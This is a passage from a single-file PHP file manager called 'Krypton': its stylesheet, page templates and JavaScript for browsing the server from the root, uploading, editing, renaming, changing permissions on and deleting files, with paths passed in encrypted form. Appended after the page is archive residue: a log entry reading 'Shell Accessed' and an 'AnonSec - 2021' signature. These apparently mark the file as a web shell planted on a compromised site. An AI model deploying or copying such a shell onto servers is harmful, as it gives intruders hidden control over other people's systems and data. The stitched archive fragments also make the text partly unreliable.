        }
        
        .section-actions {
            display: flex;
            gap: 10px;
        }
        
        /* Upload form */
        .upload-form {
            display: flex;
            flex-wrap: wrap;
            gap: 10px;
            align-items: center;
        }
        
        .upload-form input[type="file"] {
            flex: 1;
            min-width: 200px;
            padding: 10px;
            border: 1px solid #e0e0e0;
            border-radius: 6px;
            background-color: #ffffff;
        }
        
        .btn {
            background-color: #4a6cf7;
            color: white;
            border: none;
            padding: 10px 20px;
            border-radius: 6px;
            cursor: pointer;
            font-weight: 500;
            transition: all 0.2s ease;
        }
        
        .btn:hover {
            background-color: #3a5ce5;
            transform: translateY(-2px);
            box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
        }
        
        .btn-sm {
            padding: 6px 12px;
            font-size: 0.9rem;
        }
        
        .btn-success {
            background-color: #28a745;
        }
        
        .btn-success:hover {
            background-color: #218838;
        }
        
        /* File list table */
        .file-table-container {
            overflow-x: auto;
        }
        
        .file-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 10px;
        }
        
        .file-table th {
            background-color: #f5f5f5;
            padding: 12px 15px;
            text-align: left;
            font-weight: 500;
            border-bottom: 1px solid #e0e0e0;
            position: relative;
        }
        
        .file-table td {
            padding: 12px 15px;
            border-bottom: 1px solid #e0e0e0;
        }
        
        .file-table tr:hover {
            background-color: #f5f7ff;
        }
        
        .file-name {
            display: flex;
            align-items: center;
            gap: 8px;
        }
        
        .folder-icon::before {
            content: "📁";
        }
        
        .file-icon::before {
            content: "📄";
        }
        
        /* Action buttons */
        .action-buttons {
            display: flex;
            gap: 8px;
        }
        
        .action-btn {
            background: none;
            border: none;
            cursor: pointer;
            font-size: 1rem;
            color: #555;
            transition: all 0.2s ease;
            width: 28px;
            height: 28px;
            display: flex;
            align-items: center;
            justify-content: center;
            border-radius: 4px;
        }
        
        .action-btn:hover {
            background-color: #f0f0f0;
            color: #333;
        }
        
        /* Modal styles */
        .modal {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 1000;
            justify-content: center;
            align-items: center;
        }
        
        .modal-content {
            background-color: white;
            padding: 25px;
            border-radius: 8px;
            width: 90%;
            max-width: 400px;
            box-shadow: 0 4px 20px rgba(0, 0, 0, 0.15);
        }
        
        .modal-content.modal-lg {
            max-width: 800px;
            height: 80%;
            display: flex;
            flex-direction: column;
        }
        
        .modal-title {
            font-size: 1.2rem;
            margin-bottom: 15px;
            font-weight: 500;
        }
        
        .modal-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
        }
        
        .editor-form {
            display: flex;
            flex-direction: column;
            gap: 15px;
            flex-grow: 1;
        }
        
        .form-group {
            display: flex;
            flex-direction: column;
            gap: 5px;
        }
        
        .form-group label {
            font-weight: 500;
        }
        
        .form-group input {
            padding: 8px 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
        }
        
        .form-group textarea {
            flex-grow: 1;
            padding: 12px;
            border: 1px solid #ddd;
            border-radius: 4px;
            font-family: 'Courier New', monospace;
            font-size: 14px;
            resize: none;
        }
        
        .modal-actions {
            display: flex;
            justify-content: flex-end;
            gap: 10px;
            margin-top: 20px;
        }
        
        .btn-cancel {
            background-color: #f0f0f0;
            color: #333;
        }
        
        .btn-cancel:hover {
            background-color: #e0e0e0;
        }
        
        /* Alerts */
        .alert {
            padding: 12px 15px;
            margin-bottom: 15px;
            border-radius: 4px;
            font-weight: 500;
        }
        
        .alert-success {
            background-color: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        
        .alert-error {
            background-color: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        
        .alert-warning {
            background-color: #fff3cd;
            color: #856404;
            border: 1px solid #ffeeba;
        }
        
        /* Footer */
        .footer {
            text-align: center;
            padding: 20px 0;
            color: #777;
            font-size: 0.9rem;
        }
        
        /* Loading overlay */
        .loading-overlay {
            display: none;
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0, 0, 0, 0.5);
            z-index: 2000;
            justify-content: center;
            align-items: center;
        }
        
        .spinner {
            width: 50px;
            height: 50px;
            border: 5px solid #f3f3f3;
            border-top: 5px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        
        @keyframes spin {
            0% { transform: rotate(0deg); }
            100% { transform: rotate(360deg); }
        }
        
        /* Responsive design */
        @media (max-width: 768px) {
            .upload-form {
                flex-direction: column;
                align-items: stretch;
            }
            
            .upload-form input[type="file"] {
                width: 100%;
            }
            
            .action-buttons {
                flex-wrap: wrap;
            }
            
            .section-header {
                flex-direction: column;
                align-items: flex-start;
                gap: 10px;
            }
            
            .section-actions {
                width: 100%;
            }
            
            .btn {
                width: 100%;
            }
        }
    </style>
</head>
<body>
    <!-- Loading Overlay -->
    <div id="loadingOverlay" class="loading-overlay">
        <div class="spinner"></div>
    </div>

    <!-- Navigation Bar -->
    <nav class="navbar">
        <div class="container navbar-content">
            <h1>Krypton <span class="version">v<?php echo VERSION; ?></span></h1>
            <div class="navbar-actions">
                <button onclick="navigateTo('<?php echo $encryptedHomeDirectory; ?>')" class="home-btn">
                    <span class="home-icon">🏠</span> Home
                </button>
            </div>
        </div>
    </nav>
    
    <div class="container">
        <!-- Alerts -->
        <?php if (!empty($encryptionKeyWarning)): ?>
        <div class="alert alert-warning"><?php echo $encryptionKeyWarning; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($success)): ?>
        <div class="alert alert-success"><?php echo $success; ?></div>
        <?php endif; ?>
        
        <?php if (!empty($error)): ?>
        <div class="alert alert-error"><?php echo $error; ?></div>
        <?php endif; ?>
        
        <!-- Breadcrumb Navigation -->
        <div class="breadcrumb">
            <?php foreach ($breadcrumbs as $index => $crumb): ?>
                <?php if ($index > 0): ?>
                    <span class="breadcrumb-separator">›</span>
                <?php endif; ?>
                
                <div class="breadcrumb-item">
                    <?php if ($index === count($breadcrumbs) - 1): ?>
                        <span class="breadcrumb-current"><?php echo htmlspecialchars($crumb['name']); ?></span>
                    <?php else: ?>
                        <a onclick="navigateTo('<?php echo $crumb['encryptedPath']; ?>')"><?php echo htmlspecialchars($crumb['name']); ?></a>
                    <?php endif; ?>
                </div>
            <?php endforeach; ?>
        </div>
        
        <!-- Upload Section -->
        <section class="section">
            <h2 class="section-title">Upload Files</h2>
            <form class="upload-form" method="post" enctype="multipart/form-data">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="file" name="file">
                <button type="submit" name="upload" class="btn">Upload File</button>
            </form>
        </section>
        
        <!-- File List Section -->
        <section class="section">
            <div class="section-header">
                <h2 class="section-title">Files</h2>
                <div class="section-actions">
                    <button class="btn btn-sm btn-success" onclick="showCreateFileModal()">New File</button>
                    <button class="btn btn-sm" onclick="showCreateFolderModal()">New Folder</button>
                </div>
            </div>
            <div class="file-table-container">
                <table class="file-table">
                    <thead>
                        <tr>
                            <th>Filename</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Last Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <!-- Parent directory link -->
                        <?php if ($currentPath !== '/'): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="folder-icon"></span>
                                    <a onclick="navigateTo('<?php echo encryptPath(dirname($currentPath)); ?>')">..</a>
                                </div>
                            </td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                            <td>-</td>
                        </tr>
                        <?php endif; ?>
                        
                        <!-- File list -->
                        <?php foreach ($items as $item): ?>
                        <tr>
                            <td>
                                <div class="file-name">
                                    <span class="<?php echo $item['isDirectory'] ? 'folder-icon' : 'file-icon'; ?>"></span>
                                    <?php if ($item['isDirectory']): ?>
                                        <a onclick="navigateTo('<?php echo $item['encryptedPath']; ?>')"><?php echo htmlspecialchars($item['name']); ?></a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($item['name']); ?>
                                    <?php endif; ?>
                                </div>
                            </td>
                            <td><?php echo $item['size']; ?></td>
                            <td><?php echo $item['permissions']; ?></td>
                            <td><?php echo $item['lastModified']; ?></td>
                            <td>
                                <div class="action-buttons">
                                    <?php if (!$item['isDirectory']): ?>
                                        <button class="action-btn" title="Download" onclick="downloadFile('<?php echo $item['encryptedPath']; ?>')">📥</button>
                                        <?php if ($item['isEditable']): ?>
                                            <button class="action-btn" title="Edit" onclick="showEditFileModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">📝</button>
                                        <?php endif; ?>
                                    <?php endif; ?>
                                    <button class="action-btn" title="Rename" onclick="showRenameModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">✏️</button>
                                    <button class="action-btn" title="Change Permissions" onclick="showPermissionsModal('<?php echo addslashes($item['encryptedPath']); ?>', '<?php echo addslashes($item['name']); ?>')">🔒</button>
                                    <form method="post" style="display:inline;" onsubmit="return confirm('Are you sure you want to delete this <?php echo $item['isDirectory'] ? 'directory' : 'file'; ?>?');">
                                        <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                                        <input type="hidden" name="path" value="<?php echo htmlspecialchars($item['encryptedPath']); ?>">
                                        <button type="submit" name="delete" class="action-btn" title="Delete">🗑️</button>
                                    </form>
                                </div>
                            </td>
                        </tr>
                        <?php endforeach; ?>
                    </tbody>
                </table>
            </div>
        </section>
        
        <footer class="footer">
            Krypton File Manager v<?php echo VERSION; ?> | Single-file PHP File Manager
        </footer>
    </div>
    
    <!-- Rename Modal -->
    <div id="renameModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Rename: <span id="renameFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="renameOldPath" name="oldPath" value="">
                <div class="form-group">
                    <label for="renameNewName">New Name:</label>
                    <input type="text" id="renameNewName" name="newName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('renameModal')">Cancel</button>
                    <button type="submit" name="rename" class="btn">Rename</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Permissions Modal -->
    <div id="permissionsModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Change Permissions: <span id="permissionsFileName"></span></h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="permissionsPath" name="permPath" value="">
                <div class="form-group">
                    <label for="permissionsOctal">Permissions (Octal):</label>
                    <input type="text" id="permissionsOctal" name="permissions" placeholder="e.g., 0755" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('permissionsModal')">Cancel</button>
                    <button type="submit" name="changePermissions" class="btn">Apply</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Edit File Modal -->
    <div id="editFileModal" class="modal">
        <div class="modal-content modal-lg">
            <h3 class="modal-title">Edit File: <span id="editFileName"></span></h3>
            <form class="editor-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <input type="hidden" id="editFilePath" name="filePath" value="">
                <div class="form-group" style="flex-grow: 1; display: flex; flex-direction: column;">
                    <textarea id="fileContent" name="fileContent" required></textarea>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('editFileModal')">Cancel</button>
                    <button type="submit" name="saveFile" class="btn">Save</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create File Modal -->
    <div id="createFileModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New File</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFileName">File Name:</label>
                    <input type="text" id="newFileName" name="newFileName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFileModal')">Cancel</button>
                    <button type="submit" name="createFile" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Create Folder Modal -->
    <div id="createFolderModal" class="modal">
        <div class="modal-content">
            <h3 class="modal-title">Create New Folder</h3>
            <form class="modal-form" method="post">
                <input type="hidden" name="current_path" value="<?php echo $encryptedCurrentPath; ?>">
                <div class="form-group">
                    <label for="newFolderName">Folder Name:</label>
                    <input type="text" id="newFolderName" name="newFolderName" required>
                </div>
                <div class="modal-actions">
                    <button type="button" class="btn btn-cancel" onclick="hideModal('createFolderModal')">Cancel</button>
                    <button type="submit" name="createFolder" class="btn">Create</button>
                </div>
            </form>
        </div>
    </div>
    
    <!-- Hidden form for navigation -->
    <form id="navigationForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="navigate">
        <input type="hidden" id="navigationPath" name="path" value="">
    </form>
    
    <!-- Hidden form for download -->
    <form id="downloadForm" method="post" style="display: none;">
        <input type="hidden" name="action" value="download">
        <input type="hidden" id="downloadPath" name="path" value="">
    </form>
    
    <script>
        // Show loading overlay
        function showLoading() {
            document.getElementById('loadingOverlay').style.display = 'flex';
        }
        
        // Hide loading overlay
        function hideLoading() {
            document.getElementById('loadingOverlay').style.display = 'none';
        }
        
        // Navigation function
        function navigateTo(path) {
            showLoading();
            document.getElementById('navigationPath').value = path;
            document.getElementById('navigationForm').submit();
        }
        
        // Download function
        function downloadFile(path) {
            document.getElementById('downloadPath').value = path;
            document.getElementById('downloadForm').submit();
        }
        
        // Show rename modal
        function showRenameModal(path, name) {
            document.getElementById('renameFileName').textContent = name;
            document.getElementById('renameOldPath').value = path;
            document.getElementById('renameNewName').value = name;
            document.getElementById('renameModal').style.display = 'flex';
        }
        
        // Show permissions modal
        function showPermissionsModal(path, name) {
            document.getElementById('permissionsFileName').textContent = name;
            document.getElementById('permissionsPath').value = path;
            document.getElementById('permissionsModal').style.display = 'flex';
        }
        
        // Show edit file modal
        function showEditFileModal(path, name) {
            document.getElementById('editFileName').textContent = name;
            document.getElementById('editFilePath').value = path;
            
            showLoading();
            
            // Fetch file content using POST
            const formData = new FormData();
            formData.append('action', 'getContent');
            formData.append('path', path);
            
            fetch(window.location.pathname, {
                method: 'POST',
                body: formData
            })
            .then(response => response.text())
            .then(content => {
                document.getElementById('fileContent').value = content;
                document.getElementById('editFileModal').style.display = 'flex';
                hideLoading();
            })
            .catch(error => {
                hideLoading();
                alert('Error loading file content: ' + error);
            });
        }
        
        // Show create file modal
        function showCreateFileModal() {
            document.getElementById('newFileName').value = '';
            document.getElementById('createFileModal').style.display = 'flex';
        }
        
        // Show create folder modal
        function showCreateFolderModal() {
            document.getElementById('newFolderName').value = '';
            document.getElementById('createFolderModal').style.display = 'flex';
        }
        
        // Hide modal
        function hideModal(modalId) {
            document.getElementById(modalId).style.display = 'none';
        }
        
        // Close modals when clicking outside
        window.onclick = function(event) {
            if (event.target.className === 'modal') {
                event.target.style.display = 'none';
            }
        }
        
        // Add loading indicator to form submissions
        document.addEventListener('DOMContentLoaded', function() {
            const forms = document.querySelectorAll('form');
            forms.forEach(form => {
                form.addEventListener('submit', function() {
                    // Don't show loading for the navigation and download forms
                    if (form.id !== 'navigationForm' && form.id !== 'downloadForm') {
                        showLoading();
                    }
                });
            });
        });
    </script>
</body>
</html>samurai_activity.log000064400000000304151550576350010635 0ustar00[2026-03-13 08:53:13] IP: 57.141.2.66 | Action: Shell Accessed | Target: 57.141.2.66 | Status: info | UA: meta-externalagent/1.1 (+https://developers.facebook.com/docs/sharing/webmasters/crawler)

AnonSec - 2021